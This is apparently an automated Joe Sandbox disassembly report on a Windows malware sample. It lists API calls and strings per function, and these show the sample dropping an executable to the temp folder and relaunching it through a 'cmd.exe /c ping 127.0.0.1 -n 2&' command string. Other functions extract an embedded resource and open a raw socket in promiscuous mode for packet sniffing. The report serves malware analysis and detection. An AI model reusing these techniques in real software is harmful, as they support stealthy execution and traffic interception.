#823.MFC42(?), ref: 0040197F
Sleep.KERNELBASE(00000064), ref: 0040198A
WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 004019A0
Sleep.KERNELBASE(00000064), ref: 004019A4
WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 004019B4
CloseHandle.KERNELBASE(?), ref: 004019B9
#825.MFC42(?), ref: 004019C2
#825.MFC42(?,?), ref: 004019CA
__p___argv.MSVCRT ref: 004019E7
wsprintfA.USER32 ref: 00401A04
WinExec.KERNEL32(?,00000000), ref: 00401A15
Sleep.KERNELBASE(000001F4), ref: 00401A20
ExitProcess.KERNEL32 ref: 00401A24

Strings

cmd.exe /c ping 127.0.0.1 -n 2&%s "%s", xrefs: 004019FE
%s\%s.exe, xrefs: 0040194D

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: File$Sleep$__p___argv$#823#825CloseCreateHandleWritememsetwsprintf$CountExecExitPathProcessReadTempTickmemcpy
String ID: %s\%s.exe$cmd.exe /c ping 127.0.0.1 -n 2&%s "%s"
API String ID: 4283993690-2816570591
Opcode ID: ab959de17b0fb4db71de5dd11ebeeed1c3cf6ecd018e597a28ae6875c8dd4de7
Instruction ID: 647a47b4171ebbf043bbf0605c80f25e9859b4608e82af673633275921c822a3
Opcode Fuzzy Hash: ab959de17b0fb4db71de5dd11ebeeed1c3cf6ecd018e597a28ae6875c8dd4de7
Instruction Fuzzy Hash: EB515EB2900109BFEB11ABE4DD49EDEBB79EF88300F1004B6F704B61A1DB755A548F69

Function 00402F22 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00402F4F
__p__fmode.MSVCRT ref: 00402F64
__p__commode.MSVCRT ref: 00402F72
__setusermatherr.MSVCRT ref: 00402F9E
_initterm.MSVCRT ref: 00402FB4
__getmainargs.MSVCRT ref: 00402FD7
_initterm.MSVCRT ref: 00402FE7
GetStartupInfoA.KERNEL32(?), ref: 00403026
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040304A
exit.MSVCRT ref: 0040305A
_XcptFilter.MSVCRT ref: 0040306C

Strings

`@, xrefs: 00402FCF, 00402FD2

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: `@
API String ID: 801014965-3559765445
Opcode ID: 554b2b36ebdbdca76e7e5890daf673f7ab6b653fcba5f1f76f6d923fca04a6ed
Instruction ID: fd41096d9372b4dda24e723cd552983fee23a0ad75fa497c59ca918bbf17219f
Opcode Fuzzy Hash: 554b2b36ebdbdca76e7e5890daf673f7ab6b653fcba5f1f76f6d923fca04a6ed
Instruction Fuzzy Hash: 26418BB0941208AFDB209FA4D945AAA7BBCEB49711B20053FF942B72E5D67949408B28

Function 004017B2 Relevance: 7.6, APIs: 5, Instructions: 67
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004017ED
memset.MSVCRT ref: 00401814
ReadFile.KERNELBASE(?,?,00001000,?,00000000), ref: 0040182C
memcpy.MSVCRT(?,?,?), ref: 00401847
CloseHandle.KERNELBASE(?), ref: 00401859

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: File$CloseCreateHandleReadmemcpymemset
String ID:
API String ID: 3052882905-0
Opcode ID: 017f0ce2d653050c7a9920fa0cc463a4687a2ca091f219d135d742b73b5de0a5
Instruction ID: e342418d90b68a1d807531b6c152f1c53a72d441e6209e681be522bd43cf2dcc
Opcode Fuzzy Hash: 017f0ce2d653050c7a9920fa0cc463a4687a2ca091f219d135d742b73b5de0a5
Instruction Fuzzy Hash: 8111BEB2900148BFDB119F98CC81BDA37ADEB08355F108076F709F6190D2B0AF848B68

Function 00401C6A Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401C6F
#1134.MFC42(00000000), ref: 00401C7F

Part of subcall function 00401E2A: _EH_prolog.MSVCRT ref: 00401E2F
Part of subcall function 00401E2A: #324.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E41
Part of subcall function 00401E2A: #567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E4F
Part of subcall function 00401E2A: #567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E66
Part of subcall function 00401E2A: #1168.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E91
Part of subcall function 00401E2A: #1146.MFC42(00000080,0000000E,00000080,00000066,?,?,?,?,00401C92,00000000), ref: 00401E9F
Part of subcall function 00401E2A: LoadIconA.USER32(00000000,00000080), ref: 00401EA5

__p___argv.MSVCRT ref: 00401C9F
ExitProcess.KERNEL32 ref: 00401CBE

Part of subcall function 00401867: #823.MFC42(00100000), ref: 00401879
Part of subcall function 00401867: memset.MSVCRT ref: 00401888
Part of subcall function 00401867: __p___argv.MSVCRT ref: 00401897
Part of subcall function 00401867: __p___argv.MSVCRT ref: 004018B9
Part of subcall function 00401867: Sleep.KERNEL32(00000064), ref: 004018CE
Part of subcall function 00401867: GetTickCount.KERNEL32 ref: 00401906
Part of subcall function 00401867: GetTempPathA.KERNELBASE(00000104,?), ref: 00401936
Part of subcall function 00401867: wsprintfA.USER32 ref: 00401953
Part of subcall function 00401867: CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401973
Part of subcall function 00401867: #823.MFC42(?), ref: 0040197F

#2514.MFC42 ref: 00401CCA

Part of subcall function 00401CEC: _EH_prolog.MSVCRT ref: 00401CF1
Part of subcall function 00401CEC: #693.MFC42(?,?,00401CDE), ref: 00401D19
Part of subcall function 00401CEC: #609.MFC42(?,?,00401CDE), ref: 00401D25
Part of subcall function 00401CEC: #641.MFC42(?,?,00401CDE), ref: 00401D30

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: H_prolog__p___argv$#567#823$#1134#1146#1168#2514#324#609#641#693CountCreateExitFileIconLoadPathProcessSleepTempTickmemsetwsprintf
String ID:
API String ID: 4041608318-0
Opcode ID: cf390052f602c471bc6786218be2683cf026073658c5c6fef72292eb93939f19
Instruction ID: 6f737f08b995e68c62b9dff43b60cf904c1485ff509acee86472e34ce1649ac1
Opcode Fuzzy Hash: cf390052f602c471bc6786218be2683cf026073658c5c6fef72292eb93939f19
Instruction Fuzzy Hash: 17016D319511158BEB14FB65C90A7DCB7B4AF08328F0042BAA465B21E1EF789A45CA58

Function 00402B5A Relevance: 4.5, APIs: 3, Instructions: 29
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(?,?), ref: 00402B72
WSACleanup.WS2_32 ref: 00402B9D
WSAGetLastError.WS2_32 ref: 00402BA3

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: CleanupErrorLastStartup
String ID:
API String ID: 286295645-0
Opcode ID: b0ec8336bf00a6052941da9178b3fceddae8ddc46f726d68ca548fb70960ad9d
Instruction ID: 2be7791f72972009722b799a77b565cb98efc3fc237316151d06e583dd982ed8
Opcode Fuzzy Hash: b0ec8336bf00a6052941da9178b3fceddae8ddc46f726d68ca548fb70960ad9d
Instruction Fuzzy Hash: 1FF0EC715002186FDB206F35DE1CAD77BF89B0C355F005476E54AE3181D67468458758

Function 004030AE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#1576.MFC42(?,?,?,V0@,00403056,00000000,?,0000000A), ref: 004030BE

Strings

V0@, xrefs: 004030AE

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #1576
String ID: V0@
API String ID: 1976119259-1055587443
Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction ID: 091081438a8891efaa48dbd6cf97df1c67080aae43ea6bdf83243b43297a0175
Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction Fuzzy Hash: 51B00836018396ABCB02DF91880192ABEA6BB98705F488C1DB2A1140A187768538EB16

Non-executed Functions

Function 0040229F Relevance: 36.9, APIs: 19, Strings: 2, Instructions: 165
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004022A4

Part of subcall function 004028B1: strncpy.MSVCRT ref: 0040290F
Part of subcall function 004028B1: inet_ntoa.WS2_32(?), ref: 00402920
Part of subcall function 004028B1: strncpy.MSVCRT ref: 00402927
Part of subcall function 004028B1: inet_ntoa.WS2_32(?), ref: 00402932
Part of subcall function 004028B1: strncpy.MSVCRT ref: 00402939
Part of subcall function 004028B1: sprintf.MSVCRT ref: 0040299E
Part of subcall function 004028B1: sprintf.MSVCRT ref: 004029A8

EnterCriticalSection.KERNEL32(?), ref: 00402305
#540.MFC42 ref: 0040230E
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00402323
#3998.MFC42(00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402342
#6907.MFC42(?,00000001,?,00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402352
#6907.MFC42(?,00000002,?,?,00000001,?,00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402362
#2818.MFC42(?,%d/%d,?,?,?,00000002,?,?,00000001,?,00000001,00000000,?,00000000,00000000,00000000), ref: 00402376
#6907.MFC42(?,00000003,?,00000000), ref: 00402388
GetSystemTime.KERNEL32(?,?,00000003,?,00000000), ref: 00402391
#2818.MFC42(?,%2.2d-%2.2d %2.2d:%2.2d:%2.2d,?,?,?,?,?), ref: 004023B9
#6907.MFC42(?,00000004,?), ref: 004023CB
#6007.MFC42(?,00000000,00000004,00000000,00000000,00000000,00000000,00000000,?,00000004,?), ref: 004023DD
#823.MFC42(00000008,?,00000000,00000004,00000000,00000000,00000000,00000000,00000000,?,00000004,?), ref: 004023E8
#823.MFC42(?,?,00000000,00000004,00000000,00000000,00000000,00000000,00000000,?,00000004,?), ref: 00402408
memcpy.MSVCRT(00000000,?,?,?,00000000,00000004,00000000,00000000,00000000,00000000,00000000,?,00000004,?), ref: 0040241B
#6007.MFC42(?,00000000,00000004,00000000,00000000,00000000,00000000,?,?,00000004,?), ref: 00402432
LeaveCriticalSection.KERNEL32(?,?,00000000,00000004,00000000,00000000,00000000,00000000,?,?,00000004,?), ref: 00402449
#800.MFC42 ref: 00402456

Strings

%2.2d-%2.2d %2.2d:%2.2d:%2.2d, xrefs: 004023B3
%d/%d, xrefs: 00402370

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #6907$strncpy$#2818#6007#823CriticalSectioninet_ntoasprintf$#3998#540#800EnterH_prologLeaveMessageSendSystemTimememcpy
String ID: %2.2d-%2.2d %2.2d:%2.2d:%2.2d$%d/%d
API String ID: 53958731-669394826
Opcode ID: 237fc60831bdeb9d19871970aaccf79bb7805ddc871af4d619914d0d9ebb9e60
Instruction ID: aa3e698a986a9efcd30e7cd5d6354eb5ceda86bede962053babdd167d9a98621
Opcode Fuzzy Hash: 237fc60831bdeb9d19871970aaccf79bb7805ddc871af4d619914d0d9ebb9e60
Instruction Fuzzy Hash: 935148B2900209AEDF119FA5CD4AEEFBB7DFB48308F00442AF605B61D1D6B95D04CB64

Function 0040271C Relevance: 18.1, APIs: 12, Instructions: 109
networkthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000003,00000000), ref: 00402730
gethostname.WS2_32(?,00000100), ref: 0040274E
gethostbyname.WS2_32(?), ref: 00402764
htons.WS2_32(?), ref: 00402779
memcpy.MSVCRT(?,?,?), ref: 00402791
bind.WS2_32(?,00000002,00000010), ref: 004027A2
setsockopt.WS2_32(?,0000FFFF,00000004,?,00000004), ref: 004027C9
setsockopt.WS2_32(?,00000000,00000002,?,00000004), ref: 004027DB
WSAIoctl.WS2_32(?,98000001,?,00000004,?,00000028,?,00000000,00000000), ref: 00402804
WSAGetLastError.WS2_32 ref: 0040280F
CreateThread.KERNEL32(00000000,00000000,Function_000026B0,?,00000000,00000000), ref: 00402824
closesocket.WS2_32(?), ref: 00402838

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: setsockopt$CreateErrorIoctlLastThreadbindclosesocketgethostbynamegethostnamehtonsmemcpysocket
String ID:
API String ID: 4186165289-0
Opcode ID: 901dd120511eaf3c56c0a535516480d7a34dcafb24756b6e58f3c865b715a434
Instruction ID: cc647fa9d97eb8ab40f50e3a18fc5453a93f7f03a17443a7d33be6df37dc61fd
Opcode Fuzzy Hash: 901dd120511eaf3c56c0a535516480d7a34dcafb24756b6e58f3c865b715a434
Instruction Fuzzy Hash: DF3160B6500604AFD7209FA4DD49F9BBBB8EF84720F10862AF625E61E0D7B49944CB54

Function 00402138 Relevance: 13.6, APIs: 9, Instructions: 63windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00402144
#470.MFC42 ref: 00402154
SendMessageA.USER32(?,00000027,?,00000000), ref: 0040216B
GetSystemMetrics.USER32(0000000B), ref: 00402179
GetSystemMetrics.USER32(0000000C), ref: 0040217F
GetClientRect.USER32(?,?), ref: 0040218A
DrawIcon.USER32(?,?,?,?), ref: 004021B7
#755.MFC42 ref: 004021C0
#2379.MFC42 ref: 004021CB

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: MetricsSystem$#2379#470#755ClientDrawIconIconicMessageRectSend
String ID:
API String ID: 1397574227-0
Opcode ID: 1ec0889933b8568e71d179df5b286e334d8a5b22727fd9a6730dc2e2a4000510
Instruction ID: ef0e762d43f9ba135a21ed7adfdda79f425eb601d2121b69b903fd342b625570
Opcode Fuzzy Hash: 1ec0889933b8568e71d179df5b286e334d8a5b22727fd9a6730dc2e2a4000510
Instruction Fuzzy Hash: 95115472610219AFCB10ABB9DE4DEAE77B9FB84340F040139B646E70E0DAB4AD04CB54

Function 004026B0 Relevance: 3.0, APIs: 2, Instructions: 39networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,0000FFFF,00000000), ref: 004026D9
WSAGetLastError.WS2_32 ref: 004026E4

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 5be7b8d7eff02e2d61197a09316e23989463b377d0f2ad78a0871316bafee45c
Instruction ID: 1fdd32086d9e9c38df168da1f283ad39edcec163d985acbf857f9f61871e7d04
Opcode Fuzzy Hash: 5be7b8d7eff02e2d61197a09316e23989463b377d0f2ad78a0871316bafee45c
Instruction Fuzzy Hash: 60F028302042004ADB30DB24CD48FB737A99F45710F2449BEFD4AF22D1C6F8E8809669

Function 00414D00 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction ID: 04587d72bb115fda03d64dfd7cc9ff104913430e0cca27c1a44ccc7680737388
Opcode Fuzzy Hash: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction Fuzzy Hash: F4819271214B418FC724CF29C890AAAB7E2FFD5314F14892ED0EA87755D738A849CB58

Function 004028B1 Relevance: 54.5, APIs: 24, Strings: 7, Instructions: 226
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncpy.MSVCRT ref: 0040290F
inet_ntoa.WS2_32(?), ref: 00402920
strncpy.MSVCRT ref: 00402927
inet_ntoa.WS2_32(?), ref: 00402932
strncpy.MSVCRT ref: 00402939
sprintf.MSVCRT ref: 0040299E
sprintf.MSVCRT ref: 004029A8
htons.WS2_32(FSRPAU), ref: 004029BF
htons.WS2_32(?), ref: 004029C8
htons.WS2_32(00000041), ref: 004029D2
sprintf.MSVCRT ref: 004029E7
sprintf.MSVCRT ref: 004029FA
sprintf.MSVCRT ref: 00402A09
strcpy.MSVCRT(00000000,flag:), ref: 00402A1C
htons.WS2_32(00000000), ref: 00402A2E
htons.WS2_32(?), ref: 00402A39
sprintf.MSVCRT ref: 00402A64
htonl.WS2_32(?), ref: 00402A74
sprintf.MSVCRT ref: 00402A92
sprintf.MSVCRT ref: 00402AA5
memcpy.MSVCRT(00000000,?,00000003), ref: 00402AC2
sprintf.MSVCRT ref: 00402AE1
sprintf.MSVCRT ref: 00402AEB
sprintf.MSVCRT ref: 00402AFF

Strings

%s%c, xrefs: 00402A5E
Len=%d, xrefs: 004029E1
FSRPAU, xrefs: 00402A4D, 00402A52
FSRPAU, xrefs: 00402973, 004029BE
flag:, xrefs: 00402A16
type=%d,code=%d, xrefs: 00402AF9
%s:%d, xrefs: 004029F0, 004029F6, 00402A05, 00402A88, 00402A8E, 00402AA1

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: sprintf$htons$strncpy$inet_ntoa$htonlmemcpystrcpy
String ID: %s%c$%s:%d$FSRPAU$FSRPAU$Len=%d$flag:$type=%d,code=%d
API String ID: 3753906667-237590085
Opcode ID: 3e90cc2f0e4d0af74856bd855762fbf6a17451d38533c024310741cd70ed4ee0
Instruction ID: a53d3f022a17ab101e70b7c90ccdcaa7e2f0d08fd5b2c767e99d7cb1b96ba65e
Opcode Fuzzy Hash: 3e90cc2f0e4d0af74856bd855762fbf6a17451d38533c024310741cd70ed4ee0
Instruction Fuzzy Hash: 0171D172900248AEDB11DFA8CC44EEF7BBCAF48300F044466FA44F7191D678EA54CBA8

Function 00401160 Relevance: 43.9, APIs: 22, Strings: 3, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401165
#537.MFC42(00406598), ref: 0040117E
#537.MFC42(00406598,00406598), ref: 0040118B
#540.MFC42(00406598,00406598), ref: 00401197
#2818.MFC42(?,%6.6X,00000000,00406598,00406598), ref: 004011BE
#941.MFC42(00406044), ref: 004011D5
#939.MFC42(?), ref: 004011E1
#6199.MFC42(?,00406598,00406598), ref: 004011F0
#2614.MFC42(?,00406598,00406598), ref: 004011F8
#2818.MFC42(?,%2.2X ,?,?,00406598,00406598), ref: 00401247
#941.MFC42(00406038), ref: 0040125C
#939.MFC42(?), ref: 00401268
#2818.MFC42(?,00406034,?,?), ref: 0040128B
#2818.MFC42(?,00406030,?), ref: 0040129E
#939.MFC42(?,?), ref: 004012AC
#941.MFC42(00406044,?,00406598,00406598), ref: 004012D5
#941.MFC42(00406044,00406044,?,00406598,00406598), ref: 004012DE
#6199.MFC42(?,?,00406598,00406598), ref: 00401301
#6199.MFC42(?,?,?,00406598,00406598), ref: 0040130F
#800.MFC42(?,?,?,00406598,00406598), ref: 0040131B
#800.MFC42(?,?,?,00406598,00406598), ref: 00401327
#800.MFC42(?,?,?,00406598,00406598), ref: 00401333

Strings

%6.6X, xrefs: 004011B8
D`@, xrefs: 004012CC
%2.2X , xrefs: 00401241

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #2818#941$#6199#800#939$#537$#2614#540H_prolog
String ID: %2.2X $%6.6X$D`@
API String ID: 3308870338-4221501666
Opcode ID: 20f37d9169c0ec6644e067ea3bad11262685dea0dac38ba345f792653d56fa1a
Instruction ID: b9ffc5d633f4d1405bf7982aaa5686ba721c81fb604f9ffe8360b73c1c5d8c85
Opcode Fuzzy Hash: 20f37d9169c0ec6644e067ea3bad11262685dea0dac38ba345f792653d56fa1a
Instruction Fuzzy Hash: 67516072C0011A9ADF05EBA5C986AEEB7B8AF65308F10407FE502B71D2D77C5E09C769

Function 00401A2D Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 209
filesleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000084,IMAGE), ref: 00401A46
LoadResource.KERNEL32(00000000,00000000), ref: 00401A54
SizeofResource.KERNEL32(00000000,00000000), ref: 00401A69
LockResource.KERNEL32(00000000,00000000), ref: 00401A74
memcpy.MSVCRT(00000000,00000000), ref: 00401A7C
wsprintfA.USER32 ref: 00401B2B
CreateDirectoryA.KERNEL32(?,00000000), ref: 00401B38
Sleep.KERNEL32(00000064), ref: 00401B40
memset.MSVCRT ref: 00401B4D
wsprintfA.USER32 ref: 00401B74
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401B90
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00401BA2
